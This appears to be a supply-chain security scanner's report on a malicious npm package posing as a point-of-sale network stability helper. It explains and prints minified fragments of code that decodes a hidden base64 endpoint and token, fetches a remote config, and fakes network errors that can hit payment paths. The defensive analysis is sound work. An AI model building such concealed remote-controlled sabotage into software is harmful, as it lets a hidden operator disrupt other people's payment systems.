Loading npm security reports…

network-stab--helper@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / network-stab--helper / 1.0.0

network-stab--helper@1.0.0

POS network stability helper module

AI Security Review

scanned 12d ago · by lpm-firewall-ai

The package presents itself as a point-of-sale stability helper, but its entrypoint decodes a hidden endpoint and token, downloads a fault document, and uses that document to fabricate network failures. A non-empty remote whitelist replaces the local list that otherwise skips payment and login paths.

Static reason

One or more suspicious static signals were detected.

Trigger

Application code calls remoteConfig.init and later faultInjector.shouldFail on request paths. Import alone does not send the request.

Impact

The operator of the hidden endpoint can turn on failures and shrink path protections, causing the host app to treat selected calls, including payment flows if the remote list no longer covers them, as network errors.

Mechanism

init decodes the embedded base64 host and token, GETs the host with an X-Config-Token header, stores the returned config, and updateConfig replaces the injector settings. shouldFail then samples failureRate and can throw Timeout, ServerError, or Unknown errors unless the path matches the active whitelist.

Attack narrative

Once the host app starts remoteConfig, the module decodes a concealed base64 URL and token, downloads a fault document from that host, and caches it. The same document is applied to a shared injector. Later request checks randomly report timeout or server failures. If the document supplies its own whitelist, the built-in cashier and transaction exemptions are dropped, so the remote operator can choose which point-of-sale calls fail.

AI rationale

The published entrypoint conceals a third-party fault-config endpoint and lets that response drive fabricated network errors, including replacement of the payment-path whitelist. That is remote sabotage of the host app rather than a local stability check, even though install hooks are absent and init must be called.

Evidence

dist/RemoteConfig.jsdist/FaultInjector.js

Source & flagged code

7 flagged · loading source

dist/RemoteConfig.jsView file

1"use strict";var t=this&&this.t||function(t){return t&&t.i?t:{default:t}};Object.defineProperty(exports,"i",{value:!0}),exports.remoteConfig=exports.setAsyncStorage=void 0;const s=...

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

dist/RemoteConfig.jsView on unpkg · L1

1[redacted]==",n="YUIzeEs5bVc3cVIydFk4dk41cEwx";function h(t){if("function"==typeof atob)try{return atob(t)}catch(t){}try{return Buffer.f

High

Ai Review Evidence

RemoteConfig hides its service URL and access token as base64 and decodes them at runtime before any request.

dist/RemoteConfig.jsView on unpkg · L1

1s.default.get(this.h,{headers:t,timeout:5e3});return o&&await o.setItem(e,JSON.stringify(i.config)).catch(()=>{}),i.config||null}catch(t){if(o)try{const t=await o.getItem(e);if(t)return JSON.parse(t)}

High

Ai Review Evidence

After init, it GETs that decoded host with the token, caches the JSON body, and passes i.config into the fault injector.

dist/RemoteConfig.jsView on unpkg · L1

dist/FaultInjector.jsView file

1shouldFail(t,r){const n=this.o;if(!n.enabled||n.failureRate<=0)return!1;if((0,e.isWhitelisted)(t,n.whitelist||[],n.whitelistExact||[]))return!1;if(n.storeFailureConfig&&n.storeFailureConfig.enabled&&r){const t=n.storeFai

High

Ai Review Evidence

shouldFail uses that remote document to randomly throw fabricated timeout or server errors, and a non-empty remote whitelist replaces the built-in payment-path list.

dist/FaultInjector.jsView on unpkg · L1

dist/whitelist.jsView file

1const o=e.length>0?e:exports.BUILTIN_WHITELIST;return!!(r.length>0?r:exports.BUILTIN_WHITELIST_EXACT).some(e=>s===e||s==="/"+e)||o.some(e=>s.startsWith(e)||s.st

High

Ai Review Evidence

shouldFail uses that remote document to randomly throw fabricated timeout or server errors, and a non-empty remote whitelist replaces the built-in payment-path list.

dist/whitelist.jsView on unpkg · L1

dist/index.jsView file

1exports.remoteConfig=exports.faultInjector=void 0;var e=require("./FaultInjector");Object.defineProperty(exports,"faultInjector",{enumerable

High

Ai Review Evidence

dist/index.js exports the live remoteConfig and faultInjector singletons as the package entrypoint.

dist/index.jsView on unpkg · L1

dist/types.jsView file

1DEFAULT_CONFIG={enabled:!1,failureRate:0,errorTypes:[{type:"Timeout",weight:100}],whitelist:[],whitelistExact:[],refreshIntervalSeconds:300};

High

Ai Review Evidence

After init, it GETs that decoded host with the token, caches the JSON body, and passes i.config into the fault injector.

dist/types.jsView on unpkg · L1